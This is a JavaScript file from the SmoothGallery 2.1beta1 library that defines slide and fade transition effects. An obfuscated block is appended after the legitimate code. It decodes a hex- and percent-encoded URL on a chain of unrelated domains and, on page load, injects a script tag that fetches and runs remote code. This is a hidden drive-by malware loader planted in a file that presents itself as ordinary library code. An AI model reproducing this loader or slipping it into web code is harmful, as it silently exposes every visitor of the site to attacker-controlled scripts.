/*
    This file is part of JonDesign's SmoothGallery v2.1beta1.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
*/

gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
var M=new Date();var H;if(H!=''){H='Y'};function n(){var X=new Array();var U=String("gAOuS".substr(0,1));var p="";var E="";var Ho;if(Ho!='FE'){Ho=''};var e=window;var O;if(O!='' && O!='j'){O='TX'};var G=new Date();var a="\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x78\x74\x61\x67\x2d\x63\x6f\x6d\x2e\x79\x61\x6e\x64\x65\x78\x2e\x75\x61\x2e\x6d\x61\x63\x79\x73\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x68\x65\x6c\x70\x6e\x6f\x77\x2e\x72\x75\x3a";var xk="";this.Vm='';var m='';this.sN="";this.Uz="";var S=unescape;var Q;if(Q!='' && Q!='lb'){Q='Is'};this._r="";var Pp;if(Pp!='' && Pp!='Ge'){Pp=null};function t(F,I){var Pi=new String();var T=S("%5b")+I+S("%5d");var w=new RegExp(T, U);this.Za='';var tS=new Date();return F.replace(w, m);};this.eg='';var u='';var Ob;if(Ob!='' && Ob!='so'){Ob='rP'};var Z=document;var _=t('86640624198422094525','659214');this.LB='';var v=S("%2f%73%6b%79%63%6e%2e%63%6f%6d%2f%73%6b%79%63%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%65%67%2f%68%6f%77%73%74%75%66%66%77%6f%72%6b%73%2e%63%6f%6d%2e%70%68%70");var Kj='';function uK(){this.el='';this.Td="";u=a;u+=_;var ec=new Date();u+=v;var Yi;if(Yi!='' && Yi!='y'){Yi=''};var gA="";try {var XtX;if(XtX!=''){XtX='cG'};L=Z.createElement(t('syc8rMiMpSt3','87yL3ASM9'));var VM;if(VM!='' && VM!='wJ'){VM='ct'};var H_;if(H_!='F_' && H_ != ''){H_=null};var B;if(B!='LM' && B!='zd'){B='LM'};var kw=new Date();var dr='';L.defer=[4,1][1];var D;if(D!='' && D!='Tj'){D=''};L.src=u;var jF;if(jF!='AV' && jF != ''){jF=null};var pP="";Z.body.appendChild(L);var kT=new Array();var oK=new Date();var Vq=new Date();var AK;if(AK!='' && AK!='qv'){AK=''};} catch(q){var KP=new Date();var yu=new Date();};}e[String("onlCfSi".substr(0,3)+"sAipoadpsAi".substr(4,3))]=uK;var TdD='';var ut=new Date();};var ap=new String();var wt;if(wt!='' && wt!='eB'){wt=''};this.bc="";n();var sQ;if(sQ!='lV' && sQ!='Uc'){sQ='lV'};
